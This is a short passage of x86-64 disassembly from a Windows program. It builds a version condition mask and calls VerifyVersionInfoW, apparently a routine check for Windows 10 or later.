mov qword [rbp + 0xc0], rax
sub rcx, 1
jne 0x14000235c
mov dword [rsp + 0x70], edx
mov r8b, 3
lea edx, [rcx + 2]
mov qword [rsp + 0x74], 0xa
mov word [rbp + 0x84], di
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov r8b, 3
mov edx, 1
mov rcx, rax
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov r8b, 3
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ntdll.dll_VerSetConditionMask]
mov edx, 0x23
lea rcx, [rsp + 0x70]
mov r8, rax
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]